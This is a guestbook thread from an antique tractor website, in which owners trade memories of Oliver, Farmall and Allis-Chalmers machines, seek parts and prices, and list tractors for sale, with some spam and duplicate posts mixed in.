andy wrote on Saturday, June 09, 2007 (PDT):My dad had put a small block chevy on his mothers 44-6 in 1972 after the engine blew up. He and i pulled it out of the shed after sitting for 25 years. First time i got to drive it.
Ken Johnson wrote on Tuesday, June 05, 2007 (PDT):I just recently bought a 1952 Super C with a wide front end on it for 800. Tractor was not running at the time of purchase but my dad and I got it running the same day we brought it home. We are currently enjoying a great father and son restoration project. I am sparing no expense on this restoration as I don t plan on getting rid of my tractor or my memories of this project. I am also currently enjoying the use of my other Farmall tractor, it is a 1950 H. That one was already redone by the previous owner.
alene wrote on Tuesday, June 05, 2007 (PDT):I m trying to get an approximate value on an 1952 Ford 8N Tractor, excellent condition, electric start
Sam wrote on Sunday, June 03, 2007 (PDT):D15 in photo doesnt mention year model...I have a 64 model my dad bought new that doesnt look anything like the photo...tires are wider and shorter,fenders cover tires, headlights on sides od radiator cover,oilbreather different, etc.
John Bushouse wrote on Thursday, May 31, 2007 (PDT):I bought my neglected 1959 550 diesel in 1979. We repaired everything and have been using it for all our hobby farm utilities. Over the years we have bought a full complement of tools including rototiller, bushog and a 15KW PTO driven generator in 1982 after a 7-day power outage. That is where this tractor really shines. We can run everything we need to and this tractor sips diesel as low as 3/4 gallon per hour. In 1998 we rebuilt the PTO clutch. That is the last time we spent any significant dollars on it. We take care of it and it takes care of us. Its a family friend.
Ida Red wrote on Wednesday, May 30, 2007 (PDT):For Sale a Diesel G-1000 ,in fence row conditon with a cab and ringed 18.4x38 s on the rear.One problem she has is a rod out the side of her.Red
Ida Red wrote on Wednesday, May 30, 2007 (PDT):For Sale a Diesel G-1000 ,in fence row conditon with a cab and ringed 18.4x38 s on the rear.One problem she has is a rod out the side of her.Red
bruce lawry wrote on Wednesday, May 30, 2007 (PDT):im looking for some parts for a massey harries pony and a leader modle b radator caps please email
chad albert wrote on Wednesday, May 30, 2007 (PDT):we have a 1066 and it is used for every thing and it has 18000 hrs and its only been down for 3 things clutch T/A and a engine bored to a DT 436 for better economy and more HP it is about 165 right now and still running strong
chad albert wrote on Wednesday, May 30, 2007 (PDT):we have a 1066 and it is used for every thing and it has 18000 hrs and its only been down for 3 things clutch T/A and a engine bored to a DT 436 for better economy and more HP it is about 165 right now and still running stong
Wayne wrote on Tuesday, May 29, 2007 (PDT):I am interested in a MF-97 4x4 and am located in western NY State, have never heard of or seen one for sale in NY or on the east coast--does anyone know of any in this area Thanks! Would like to use it for working on my farm
Mary Reynolds wrote on Thursday, May 24, 2007 (PDT):I am looking for a power steering cap for an Oliver 550. Anyone have an extra one Also drawbar pins for the same tractor. Please contact me if you have either and are willing to sell them. Thanks
Charlie Parmelee wrote on Tuesday, May 22, 2007 (PDT):hello, I am in desperate need of pistons or a whole motor, a 273 Buda diesel, from a cockshutt 50. ANY help would be greatly appreciated
noel gauthier wrote on Tuesday, May 22, 2007 (PDT):I would like to know the timing procedure for a psb injection pump on an Oliver 550 1969
richard cochrane wrote on Saturday, May 19, 2007 (PDT):I HAVE A 1949 OC3 OLIVER TRACTOR CRAWLER WITH A ONE YARD BUCKET IT WILL LIFT ITS OWN WEIGHT THE POOR LITTLE GUYI had to add more counter weight to make it more secure to move allso a V shaped snow blade its for sale squamish bc canada
Bernie Knox Knox s Metal Medic wrote on Friday, May 18, 2007 (PDT): I have a metal restoration shop in Pennsylvania specializing in major metal restoration of antique car and tractor sheet metal. I just finished the restoration of all of the sheet metal on a 60 Orchard for a local collector. I am usually able to restore your panels or fabricate new ones. If you can use my service, I can be contacted through email bj1k at nauticom.net or Phone 724 352-5110
ryan winjen wrote on Friday, May 18, 2007 (PDT):i had a old 730 diesel and it couldnt out pull a 2wd s-10. we finially scrapped the piece of crap and bought a International Harvester like normal people. u all can suc my kock
ruyle wrote on Friday, May 18, 2007 (PDT):i have a 1976 black striped 1066 and its awesome. it overcomes all farm work we put it up to. also have a 966, 856 IH. IH power!!
Ken Hamblin wrote on Friday, May 18, 2007 (PDT):Hi all, just bought a fordson w/bukit and hoe. its missing lots. can someone get me started on where the # s shud b EIADDN 501 P135 T2 is cast under seat. engine head reads EIADDN-6050-G J3167...FoCo on block ..Deiselx4..need head gasket, help, thanx
R. Blair wrote on Friday, May 18, 2007 (PDT):I have an Oliver Super 55 Diesel in running condition. It needs some engine care rings but is complete. Anyone interested. Pictures sent upon request.
I have a OLIVER HG 4 sale wrote on Wednesday, May 16, 2007 (PDT):WONT TO SALE NOW
jon retzlaff wrote on Tuesday, May 15, 2007 (PDT):looking for a carburetor for cockshutt 40 or a rebuildable core.
Peter Garder wrote on Sunday, May 13, 2007 (PDT):I m looking at a 1066, it has a fair age to it, is there anyone who could advise on things to look for with this model. Bless You Peter Gardiner.
Lannie Phillips wrote on Sunday, May 13, 2007 (PDT):Hi; Does anybody have info on Cockshutt Industrial Tractors
Glen P. Walter wrote on Saturday, May 12, 2007 (PDT): My neighbor has an oliver 99 sitting there for parts. He like 500 for it. It sure is monster of a tractor. It would be nice to see it get a nice home. It had been sitting for some 20 years now. I don t know what it is but I like the Oliver tractors looks more then John Deere.
JEFF BROWN wrote on Thursday, May 10, 2007 (PDT):I have an f-14 with a single bottom moldboard plow that drops by chain drive off the axel.These plows also came with a half drawbar that could be used while the plow was still attached to the tractor.I need this drawbar and brackets.My tractor is very near complete and this part would get me closer.I also need extension rear steel wheels.I only need one extension rim,but won t ask anyone to break up a set.I could use steel cutoff rims instead if anyone has them.I ve had my f-14 for four years now and i m still getting parts together for it.It s been a slow process but i m learning alot and having fun.I grew up on a farm in Ohio tobacco country and I love the old farmalls.I got the fever watching my dad pull his hotrod 656 in the 60 s 70 s.Thanks and hope to hear from someone about the parts.
J. I. Akeman wrote on Monday, May 07, 2007 (PDT):I am looking for a plow, a single point attachment for a cub lowboy. Please email me if you have one.
Bubba wrote on Saturday, May 05, 2007 (PDT):This tractor looks much like a Farmall A. Does any body else see that
Jack Wigley wrote on Thursday, May 03, 2007 (PDT):I have a 1950 s Fordson Dexta, 3 cyl, I need an injector pump, SIMMS, an old one, a rebuilt one or where can you order the unit pumps Thank you.
roger gilley wrote on Monday, April 30, 2007 (PDT):i have a 1942 hg 31 i need a drive geag on the left side i brock the 12 studs off or will ing to sell it runs osom an has all the oringanl spark plugs i an the secont owner an the old gut i got it off got it new he put a blad on it runs good works grate nice toy would like to fix or sell
DONNA M wrote on Sunday, April 29, 2007 (PDT):We have a 1965 cub tractor with pto, plow, spike tooth harrow, disc, tumble bucket, center grader blade, front grader blade, sickle bar mower, and a home made manure dump trailer. Located in San Diego CA area. It runs, needs a basic tuneup. Could use paint, it s yellow now. Any ideas on what it is worth or what I should ask for it
James wrote on Sunday, April 29, 2007 (PDT):Hi my name is James I live in Lockport, Manitoba Canada. I have a set of Arps half tracks I can t get them to stay on the tires. I also have a set of skis for the front tires. If anyone has any literature for these tracks or can tell me how to set them up I would appreciate it. Also what type of tires do I need I was told I need turf tires but I don t know.
Fred wrote on Saturday, April 28, 2007 (PDT):Whats going on folks,i have a D15 series 2 AC and am looking to purchas a kit to make it havve live hydralics thanks
Dale Peters wrote on Saturday, April 28, 2007 (PDT):I m looking for an after market decal set for a 253 Massey Furguson Thank you for you help
Dennis wrote on Wednesday, April 25, 2007 (PDT):Hi Looking for an oil pan for a cockshutt 50 series budha 6 cyl gas engine . Any info and availability greatly appreciated. Thanks in Advance Dennis
Moody Richardson wrote on Saturday, April 21, 2007 (PDT):My dad and I owned two 770 s , A 1959 and a 1964. The first one had the Hydra Hitch and the second one had the power Traction hitch. The 64 model was a big improvement. Both ran very well and handled excellent as both were purchased new. The 59 had slow rearend and the 64 had the fast rearend. That 3rd gear at 41/4 miles per hour was a work horse with 3 - 14 semi mounted plow Red Gumbo Hill and a 10 - wheel disk and chain harrow in tandem. The six cyclinder was unbeatable on the PTO. Note; To plow, there must be 4-5 inches thread unscrewed on the left liftarm to enable the plow to perform corectly. Very Important In this era of time these tractors were unequaled for power and price. Cheaper than the 1600 but, just as much power. Also same goes compared to the 3010 JD, Cheaper but just as much power.
Linda Johnston wrote on Friday, April 20, 2007 (PDT):We have a 1941 International AV. Has cultivator and wheel weights. New tires, too. Would be interested in seeing it go to a good home. You may call 989-762-5122. Located in Michigan. We ve used it as a garden tractor and no longer have a big garden. Runs swell.
Forcade wrote on Monday, April 16, 2007 (PDT):We have 555 MH Diesel and would like to know if that tractor is positive ground
Henry Hahn wrote on Saturday, April 14, 2007 (PDT):Mark send your address to the Leader tractor club for a packetof information about history of co. 7606 Hwy. J. Perryville, MO 63775
Harry Dunham wrote on Thursday, April 12, 2007 (PDT):need bearings for finals on T340 crawler, even the bearing numbers would help, can anyone help me
Moody Richardson wrote on Sunday, April 08, 2007 (PDT):In the 1950 s and 1960 s our farm used two Super 55 s and three 550 s and also other great Olivers. . The 550 s in my opinion, were the best small tractor ever b uild by any company. We pulled 3 plows in heavy hill soil and kept a manure loader on one . Also baled hay pulled grain dril and cultipacker in tandrum in forth gear. They were very dependable and tough. We never worked on a 550 engine. Hydraulic problems with the Super 55 , but never any problems with the 550 s. All were gas engines.
Dustin Ranallo wrote on Friday, April 06, 2007 (PDT):I own a wd-45 and in the process of restoring it and I was wondering were I could find repro fenders,and hood at reasonable prices
Jon DeMers wrote on Thursday, April 05, 2007 (PDT):I am looking for a front wheel assist for a AC 220, or a AC 220 with front wheel assist runnig or not. mostly i would just like the front end to put no my own
Bryan wrote on Wednesday, April 04, 2007 (PDT):Trying to sell Super 55-550 Oliver, with attachments please email the above address if interested. Located in Burlington, NC
Jake wrote on Tuesday, April 03, 2007 (PDT):Where would I find the serial no. on a D-15 allis chalmers THANKS ANYONE!!........... JAKE
MArk Kemo wrote on Tuesday, April 03, 2007 (PDT):I am considering buying a Leader but I don t know a thing about them. Can anyone help with manufacture dates, what are they worth and any other info that you might think I could use.
Scott wrote on Sunday, April 01, 2007 (PDT):I found a Farmall H ser.# FBH-284245 in rough shape missing engine cover, otherwise seems to be complete. Has not run for ten years. Can you tell me how much it is worth and the year Thanks. Scott in Cal.
Clayton wrote on Sunday, April 01, 2007 (PDT):What size of engine does this tractor have
Nick Kunik wrote on Wednesday, March 28, 2007 (PST):I am in the process of restoring a 1948 AC G and need to replace the two radiator fan shaft bearings. I can not seem to find any replacment bearings anywher. They probaly do not make or have OEM bearings for sale any wher so I am hoping someone knows of a aftermarket bearing. Any info on this would be greatly appreciated Nick from Mt.Pleasant MI.
Dennis wrote on Friday, March 23, 2007 (PST):I have a 420c that has been tested tough in Alaska woods under extreme temperatures for over 20 years. Still runs great. switched to 12 volt neg ground 3 years ago and added electronic ignition. Starts and runs great. no fouled plugs. I m having trouble locating a new engine clutch disc and pressure plate. Serial #135375. Can someone point me towards an aftermarket supplier I also have some used parts.
Ben wrote on Thursday, March 22, 2007 (PST):I m looking for a D-15 diesel in any shape. If you have one you are looking to sell, please write me back.
Lon Nielsen wrote on Sunday, March 18, 2007 (PST): My dad has serial #1180 she runs fine. had the radiator recored. We need fenders flarings nose cone.any help
j.w.freck wrote on Sunday, March 18, 2007 (PST):i am looking for a allis chalmers wd45 gas,wide front end,good tin and no welds in the major structures block,differential and such to restore.we had 3 of them on the farm in indiana.would like the texas,oklahoma ark la.area.will consider any area on a good buy
Martin Ruiz wrote on Sunday, March 18, 2007 (PST):I have just restored my oliver 550 after 10 years of it sitting. I had many problems with the tractor. I think I have gotten a lot of the small things fixed and it is finally running. It runs great and has lots of power. Parts are hard to fine for the tractor. My suggestion is if you can get your hands on one that is just for parts do it. I am currenlty looking for one. If anyone knows of one let me know. Mine is gas and have yet to see how good it is on gas. It has a loader which works very nice. The loader is an industrial loader and is very heavy. I think it will be a great tractor. Be prepared for your pocket book to get pretty thin if you restore one.
james c ligon wrote on Thursday, March 15, 2007 (PST):Hello, My brother gave me a massey ferguson 35 gas. The block and piston sleeve are cracked. I need a engine or a block. Does anyone know how to locate this. Thanks Jim phone 15013621840
Joe Schueler wrote on Wednesday, March 14, 2007 (PST):I m restoring a 1948 Farmall Cub and its mounted 172 Runner Planter. Can anyone send me a color picture of a restored Cub wearing its restored planter so I can find out how to place the decals If I can find a picture I can have the decals made here in Kasson, MN.
Jack Sober wrote on Sunday, March 11, 2007 (PST): I receved my 1951 super c as a gift in 2000. unknowing it had two smashed and beetend pistons.It did not run,so I found a macanic and started to open the can of warms that hapens when you take on this type of prodject.I baut a comeplet engine block,genarater/alternater,starter,points and condencer,distibuter,voltigragulater,battery and all the wires to the lights.After 7 years and 3 moths it is ready for work in the feild and some perades.I have one thing to say to enyone that wants to do this kind of operation you must have paionts,good advisers and most of all money to speand.
gngncbjgfd wrote on Saturday, March 10, 2007 (PST):Hello, Hi Hosting
Gary Fike wrote on Saturday, March 10, 2007 (PST): Hello,from Canada,to all you Oliver owners.I,too,have an Oliver, a 1960-770,gas, wide front. I love my tractor too, but I need help! The wheel studs came loose,on the left wheel sitting on the seat looking forward and I m having a hard time, up here, finding new studs, as the old ones are stripped.Can anyone please help me 1-780-623-3212 Alberta, Canada. Thanx .
Justin Horner wrote on Thursday, March 08, 2007 (PST): I have a running AC 220 for sale,a complete tractor ready to drive. Really to much tractor for our use. contact for pics. or info
James Toburen wrote on Thursday, November 09, 2006 (PST):My dad bought a new supper 55 gas in 1958 when I was a kid. It was the tractor I grew up with and farmed with until I left the farm after college. I bought a 1955 gas super 55 several years ago to play with on a 10 acre farm. It has the original front end loader, and an aftermarket box blade. I moved off the 10 acres. The tractor is for sale.
Payson wrote on Sunday, October 29, 2006 (PST):I'm 14 and just bought a farmall B to restore for a 4-H project. It runs good, but in the "learning spirit" of a 4'H er, I know NOTHING about how to begin restoring my tractor. Does anyone have recommendations for any good books or other sources? I'm SO EXCITED to begin my project!....My parents even let me bid and buy the tractor all by myself.
fred summers wrote on Sunday, October 29, 2006 (PST):for sale 1947/modfcubm ft blade&rear blade,hyd liftruns,needs starter rebuilt,hand crank starts ok needs restored $1600.00/sagle,id 208-265-8120
mike wrote on Sunday, October 29, 2006 (PST):just bought 51 mdl b new tires fresh paint and runs great. i am ih fan but had to buy b in order to buy ih that i had been looking for for a long time. he said the only way he would sell me the ih is if i bought them both. i paid 900 for the b and know nothing about them did i get hurt or did i do good or did i do avg. looking for someone that knows ac prices. cant find any info on them.
TJ Roberson wrote on Sunday, October 29, 2006 (PST):Does anyone know what a MM UT100D is worth?
Luis wrote on Sunday, October 29, 2006 (PST):I have one question how much does a $20.00 bill dated back to 1864 would be worth
William Isaac wrote on Sunday, October 29, 2006 (PST):Don Schutt just read your add and if you really want to sell your "M", you are about 1500.00 to high, not being smart or anything, just know john deere tractors, have 12, two of them being "M's" in mint condition and 3500.00 is about the best they will do. Thanks Will
William Isaac wrote on Sunday, October 29, 2006 (PST):Question for Steve Raborn, 1948 John Deere what? I have 12 John Deere tractors, so if I knew what your tractor was maybe I could answer your question. Thanks William
roy cool wrote on Sunday, October 29, 2006 (PST): I have a wide frontend Silver King. It has spoked wheels. I'm told this is a 1938. I need alot of info. on this because I want to restore this to original as possible. Any pictures of one would be great. I have a picture of a 1940.
Gene Zortman wrote on Saturday, October 28, 2006 (PDT):I own a 1066 with a Westendorf loader which I may be selling in a couple of years... It's got a cab and I had it overhauled a couple years ago... Can anyone tell me what it is worth?
Fred Walter wrote on Saturday, October 28, 2006 (PDT):Anyone know of a G for sale near Southwestern Ontario? The motor doesn't have to run because if I buy a G, I'm very tempted to do the following to it; www.flyingbeet.com/electricg
brian kostick wrote on Saturday, October 28, 2006 (PDT):i have a very nice W4 truley looked after.not sure if i want to sell it or not but if you are interested call me i think it is a 1951 it is in great condition 519-941-0119
Bob wrote on Thursday, October 26, 2006 (PDT):I have 3 Farmall Cubs for sale. They are all in excellent condition. They all have a belly mower. I also have an IH Cub Loboy in good condition. If anyone is interested call 740-264-5633. I live in Wintersville, OH
Dan Hayman wrote on Thursday, October 26, 2006 (PDT):At the age of 12 or 13 I was doing all the work with The General. It pulled a 16 inch Avery plow and a disc. That was the extent of the equipment. I wanted my dad to cut the long tongue off the wagon and mowing machine, but he said the horses needed to work. I was in 7th Heaven working The General. One time the front wheel became loose and I had to finish plowing a field with the horses. I had to replace the left wheel brake once. My neighbor had a Ford tractor and we hooked the drawbars together, I killed his engine in 3rd gear, he killed my engine in 2nd gear, and we both set and spun the wheels in first gear. I loved that ole tractor. Thanks...
Simon Ayre wrote on Thursday, October 26, 2006 (PDT):Hi everyone out there with greasy fingers!! My father and We are looking for an engine for a 1917 4 cylinder samson 10-25 sieve grip tractor. hope you can help!! We know that we are looking for a very rare engine but hope someone can help. Simon & Terry, Somerset England.
graham wrote on Thursday, October 26, 2006 (PDT):i have two marshall tractors for sale i want 5500 for one and 5000 for the other . i live in gloucestershire my tel no is 07833631874
Shannon Blake wrote on Wednesday, October 25, 2006 (PDT):I am looking for a used or REASONABLY priced new radiator for a oliver 550. If it has a few leaks thats ok as long as it can be repaired.(with the exception of installing a new core). I work for that other GREEN tractor manufacturer but my oliver is still #1. Don"t tell my boss.HA HA
Judy Crook wrote on Wednesday, October 25, 2006 (PDT):Hello- My husband and I have inherited a JD H in a foriegn country. I now have the $$ and desire to restore it. Can you help me with the first steps I should take, manuals, part manufactures, ect. . . Thank you, Judy Crook
michael wrote on Wednesday, October 25, 2006 (PDT):thanks for good info
Bob Waters wrote on Wednesday, October 25, 2006 (PDT):I am in New Zealand also and there are a few MD models around as I have seen them when I was younger and I know of one running with a front bucket. Where can you get a service manual for them?
Jeremy wrote on Tuesday, October 24, 2006 (PDT):I have an Oliver Super 99 Diesel sitting in by backyard in Western Montana. It was parked, with cultivator still attached, a while back, and just left. The tires are even still holding air. A little TLC to the fuel and electrical systems and some body work with a paint job, and this tractor would restore nicely. How much would you be looking to spend to pick it up? Please don't try to lowball me on this, as I will just do the restoration myself for use in tractor pulls and parades instead of agree to sell it.
john washer wrote on Tuesday, October 24, 2006 (PDT):I learned to drive on dad's "B" . Im 40 yrs old now, dad's still going at it at 81, but we need to find a rim for the front. inch by about 4 1/2. Can anyone help
Steve Raborn wrote on Tuesday, October 24, 2006 (PDT):I found a 1948 John Deer Tractor (running) and need to know what the going price is because I don't want to be over priced. Can you help me?
funkie guy wrote on Tuesday, October 24, 2006 (PDT):if you kow of any ford funks for sale please tell me at my email address thank you
Frank Fry. wrote on Tuesday, October 24, 2006 (PDT):Having just aquired a 1956 fordson major tractor with original log book, I found this site whilst looking for information on it. The story of this tractor goes as follows. Last week I had to go to an engineering yard just outside of Bristol to collect some thing else whilst there I saw this old tractor tucked away in the corner of their yard. I asked what was happening with it, I was told that the whole site had been sold for housing and everything was being srapped. I said the tractor is being scrapped as well ? They said yes we are waiting for the scrap people to arrive. Anyway I gave them 20.00 for their tea & coffee put it on a trailer and took it home. It needed a starter and 3 light bulbs, and it started up as sweet as anything. There is no rust or damage to it whatsoever it also has a front loading bucket. The starter cost me 120 and the bulbs 1 each, I think I may have done quite well.
Edie Pierce wrote on Monday, October 23, 2006 (PDT):I HAVE A 601 FORD DIESEL TRACTOR IS THERE ANYWAY SOMEONE COULD TELL ME WHY THE FUEL IS GETTING INTO THE OIL I HAVENT FOUND ANYONE THAT COULD TELL ME PLEASE
Welby wrote on Monday, October 23, 2006 (PDT):I have a 1940 JD 'B'. I'm trying to decide wether to sell it or restore it. It is missing the starter - know where I could find one?
Welby wrote on Monday, October 23, 2006 (PDT):Welby - I have a chance to buy a '53 Model 60. It has 16.9 x 30 rear tires. I thought that odd, but it originally came from Norfolk, ND. I understand that is potato country. Could this tractor be retrofited for a potato harvester? I have a 1940 slant dash 'B' that I'm trying to decide whether to sell or restore it.
wayne eakes wrote on Saturday, October 21, 2006 (PDT):can someone tell me where to check trans and lift oil on a international 240 tractor please
terry wrote on Saturday, October 21, 2006 (PDT):i have a 1945 farmall model a and it has a diamond shape front axle. can some one tell me why?
curt baartman wrote on Saturday, October 21, 2006 (PDT):does the propane m5 start o.k during cold winter days?
Terry wrote on Saturday, October 21, 2006 (PDT):HOwdy, I have a Brownie Tractor from the Brownie Tractor Co. Joliet , Ill. It is a model "B" Serial # 59261. It is like a lawn mower tractor, with a briggs and stratton engine. There is not a mower attachement. The wheels in front are narrow and the wheels in back are wide. Would appreciate any info. Thanks.
charlie K wrote on Saturday, October 21, 2006 (PDT):I have a Farmall M (actually 2 of them). The one I recently purchased appears to have blown out the clutch. I believe the tractor must be broken in half to repair. My question is any idea how much such a repair might cost, and whether it is worthwhile to even consider. Thanks!!!!!
Bob Easterbrooks wrote on Friday, October 20, 2006 (PDT):My dad farmed with one fof many years I have one I will try to restore
Mark wrote on Friday, October 20, 2006 (PDT):I'm have litl dog & cat! I want to share with you were you'll be find this for your pets; collar nice buy cat buy nice cat collar collar buy cat nice nice collar buy cat nice collar cat buy nice cat collar buy buy quality cat collar nice buy cat collar nice buy collar cat dog collar
newboy wrote on Friday, October 20, 2006 (PDT):I'm have litl dog & cat! I want to share with you were you'll be find this for your pets; collar nice buy cat buy nice cat collar collar buy cat nice nice collar buy cat nice collar cat buy nice cat collar buy buy quality cat collar nice buy cat collar nice buy collar cat dog collar
bobby potts wrote on Thursday, October 19, 2006 (PDT):i have a oliver super 55 and my hydraulic doesn't work when it gets hot. can you tell me what the problem is? you can email me or call me at 336-853-9936. thanks
Cook Farms wrote on Thursday, October 19, 2006 (PDT):I have a 1066, 1086, and a 656 loader tractor. All three tractors run like brand new. We just bought the 1066 and its already my favourite. Im planing on putting new tires all the way around, splashing it with some new paint and straight piping it. IH tractors are the best tractors there are! Does anyone have any 1066 pics they would like to share?
e. cencora wrote on Thursday, October 19, 2006 (PDT):hey guys i just boiught a farmal m tractor ,and trying to find out where i can get parts for it .
edward wrote on Thursday, October 19, 2006 (PDT):i just bought a farmal tractor and just have't found out what year it is, but i'll find out soon
Larry Garrigus wrote on Wednesday, October 18, 2006 (PDT):I was raised on a 1946 SC case with the hand clutch and two wheels close together in front. That tractor was a stump pulling machine. It was also handy to pull big rocks. Front end would come off ground but with hand clutch, could handle with no problem. The only thing that was bad about the SC was its brakes. Seem to go bad all the time. I live in Missouri and would like to buy a 46 SC case if anyone has one in Missouri. Also my dad took a distributor off of a M Farmall and replaced the MAG on the old SC case. IT ran OK. The M Farmall was a 1951
gary long wrote on Wednesday, October 18, 2006 (PDT):interested to hear from any one with any series 3 field marshall spares i live in suffolk but can travel look forward to hearing from some one.
k plummer wrote on Wednesday, October 18, 2006 (PDT):I have a 48 model h.Does anyone know what kind of alternator will fit under the hood.
John C Schurko, Mr wrote on Wednesday, October 18, 2006 (PDT):I thought I would let every one know I'm listing a 1948 M Farmall on Ebay. Should be on Tomorrow October 18, 2006. It's in nice restored condition with new tires. If anyone is interested email me. I would be happy to answer any questions!
clyde j, myers wrote on Wednesday, October 18, 2006 (PDT):All MM fans, I am currently searching for an older M possibly a gtb ( not sure of model or year of tractor) but it was converted with big V-8 gas motor, and sold from taylor mill , KY. in 1987 , wanted dead of alive, please help find, thanks, Jake
TheDurk wrote on Tuesday, October 17, 2006 (PDT):We have had our 140 since new in 1966. It was born (and still is) highway yellow. Originally had a belly-mount C-4 but now pulls a 6-foot Bushhog, and pushes a 6-foot Meyer snow plow in winter. Runs great--and only one pair of hands has ever put a wrench to her.
John H. wrote on Tuesday, October 17, 2006 (PDT):Needing both lift arms, stabilizers and pins for a T-O 20
Gary Stark wrote on Tuesday, October 17, 2006 (PDT):We had a Case LA in the late 40s. It handled well and was fun to operate where lugging power was needed. When plowing the massive 4-cylinder high torque engine would pull down before the sluggish governor would react. When it opened up the LA would make a rip roaring leap forward through the toughest conditions. Its bid drawback was high fuel consumption. It would burn over 60 galons of gasoline in a 10 hour day. We finally traded it for an IH diesel which did the same work on 35 gallons of diesel fuel.
Gary Stark wrote on Tuesday, October 17, 2006 (PDT):We had a Case LA in the late 40s. It handled well and was fun to operate where lugging power was needed. When plowing the massive 4-cylinder high torque engine would pull down before the sluggish governor would react. When it opened up the LA would make a rip roaring leap forward through the toughest conditions. Its bid drawback was high fuel consumption. It would burn over 60 galons of gasoline in a 10 hour day. We finally traded it for an IH diesel which did the same work on 35 gallons of diesel fuel.
Gary Stark wrote on Tuesday, October 17, 2006 (PDT):A used 1928 model D was the first tractor my dad owned. It had steel wheels which he had converted to rubber tires. It's bigest drawback was the fact that it had only two forward speeds. He bought another, styled, model D in the mid 40s which had more power (38 drawbar hp) and three speeds forward. It served us well but my dad always wanted more power so he traded it for a new 1949 WD-9 International diesel.
Louisa wrote on Tuesday, October 17, 2006 (PDT):I am looking for year and info on a Massey-Harris Serial # 405620 model 81R. Can anyone help?
mike wrote on Tuesday, October 17, 2006 (PDT):looking to beef up my 880 oliver as much as I can but still be able to go in the field and drop 4/16's and run all day it is a diesal any input would help greatly please send to my email oldblue_6 at yahoo.com
Jim Broughton wrote on Monday, October 16, 2006 (PDT):Jerry Parks; Yep, your Cub is a 1953 model...have fun with 'er!! Jim B.
Kumaran Spaulding wrote on Monday, October 16, 2006 (PDT): I have a 1950 case DI hough loader/ backhoe and am looking for info on how I can get a hold of two rear wheels. The rear wheels that are on it now are all rusted out do to the leaking calcium. So any info would be very greatly appreciated. Thankyou.
Adam Singleton wrote on Monday, October 16, 2006 (PDT):Question? Where can I get a roadgear for a 37 F-20? If any one can help me please e-mail me. Thanks Adam Singleton Knox IN.
David Redfearn wrote on Monday, October 16, 2006 (PDT):I have a 1946 Allis but am having trouble keeping it running. She starts all the time but as soon as I give it gas it stops. I cleaned the carb but have a question does the oil pressure have any thing to do with keeping the tractor running?
Phil wrote on Monday, October 16, 2006 (PDT):Any one know the where abouts of my old 1950 series 3 Field Marshall reg number NBH486. I sold it to a guy from Somerset back in about 1975/6. Anyone with information about it I would be pleased to here from you. regards Phil
Emily wrote on Sunday, October 15, 2006 (PDT): i recently brought a Farmall c and a cub the cub came with a belly mower and the C came with a plow behind tiller. both of these tractors run like a clock we are about to do a restoration jo. if anyone cam give me the value of these items please do so
Lenny Hooks wrote on Sunday, October 15, 2006 (PDT):My dad had one of these . For it's size it had alot of power,we plulled two sixteen inch plows with it. Dad had it overhauled and had a 660 kit put in it. He should of had it changed to a 12v ignition.
T wrote on Sunday, October 15, 2006 (PDT):Hello I have a 8-16 with some good parts if anyone is looking. Thanks
Roman Vice wrote on Sunday, October 15, 2006 (PDT):My dad says he and my grandfather had a M-38 John Deere crawler [bulldozer] back in the late fiftee's ,as our family tradition goes this machine was probably nearly an antique then. I have shown him some pictures that I have gotten off the net of what I thaught he was talking about ,all he says is "naw,, its before that one" anyone ever heard of an M-38 thanks Roman Vice
Wendy L. wrote on Sunday, October 15, 2006 (PDT):I don't know one thing about tractors, or repairing them, but have some questions. I have a horse and there is a Farmall 140 tractor with mower deck for sale on the way to my horse. I'm tired of looking at it and think it needs a good home! The only thing that was legible are the numbers 44232J--what are these numbers and what do they mean? The people who own this tractor are asking $3,500. for it but it looks like it's seen better days! Can anyone tell me if this is a fair price, or if it's over priced; is there a Kelly Blue Book for tractors? I'd like to have it to mow pastures.... But it looks like a candidate for restoration. ;)
Ralph Miller wrote on Sunday, October 15, 2006 (PDT):Looking for a ac G ..with complete garden tools and attachments...would like La. area but am willing to travel for a working model G
DAVE FULKS wrote on Sunday, October 15, 2006 (PDT):IAM LOOKING FOR A GOOD IMPELLER SHAFT OR A GOOD WATER PUMP FOR A 1931 T 20 ALSO FENDERS.
Riley Mcconnell wrote on Saturday, October 14, 2006 (PDT):Looking for an early JD H, will pay top dollar. Doesnt have to run, just love these little tractors. Can anyone help? Around the midwest area preferably. Thanks
Mark Standley wrote on Saturday, October 14, 2006 (PDT):I have recently traded a tractor for a lindeman crawler. It is in fair shape, it runs but one of the stearing clutches is froze.How can I find what year it is and where is the best place to get parts?
Ed wrote on Saturday, October 14, 2006 (PDT):We own an 1947 Farmall H. Gear on distributor is worn out and in need of new. The old is a tapered gear - replacement part from 'Antique Tractor' looks like a straight gear. Where can we find a replacement?
Chris koerner wrote on Thursday, October 12, 2006 (PDT):I live in western Ny, and i have a 1951 UTU. It is really a great tractor. I love it.
chris koerner wrote on Thursday, October 12, 2006 (PDT):I own a 1951 UTU and i absolutely love it. I pulll it and have had great sucess.I wish they still made Minneapolis molines today.
RANDALL DECKER wrote on Thursday, October 12, 2006 (PDT):I HAVE A 1960 560 FARMALL AND I,M LOOKING FOR A SET OF REAR RIMS IN GOOD SHAPE,15.5X38.DOUBLE RIBBED PEFERED,REASONABLE PRICED.KY
RANDALL DECKER wrote on Thursday, October 12, 2006 (PDT):I HAVE A 1960 560 FARMALL AND I,M LOOKING FOR A SET OF REAR RIMS IN GOOD SHAPE,15.5X38.DOUBLE RIBBED PEFERED,REASONABLE PRICED.KY
Willie Scott wrote on Thursday, October 12, 2006 (PDT):I have a Massey Harris Super 101 with the Chrysler 6 cylinder. I need an Owner/Operators Manual and Service Manual. Can anyone help??
Paul Deatz wrote on Thursday, October 12, 2006 (PDT):Did the very last model of the IHC Farmall F-30 come out with a road gear. What was its top speed? Did it come out with starter and lights?
Billy White wrote on Thursday, October 12, 2006 (PDT):Looking for a 1952 8n with the funk conversion. Please send details and pics. Thanks.
Kevin Currie wrote on Thursday, October 12, 2006 (PDT):Looking for front snow blade for pony tractor please e-mail me.
Patrick wrote on Wednesday, October 11, 2006 (PDT):I have a 1949 Massey harris pony i am selling was wondering if anyone knew the production weight or any other specs.
Rocky wrote on Wednesday, October 11, 2006 (PDT):I inherited (2) Allis-Chalmers tractors from my Dad in fair condition. Will sell for a fair price.
Eoin Hall wrote on Wednesday, October 11, 2006 (PDT):I forgot to add my E-mail address on Sept 24,2006,I would appreciate any imfo on the value of my "Old Alis" Thank You
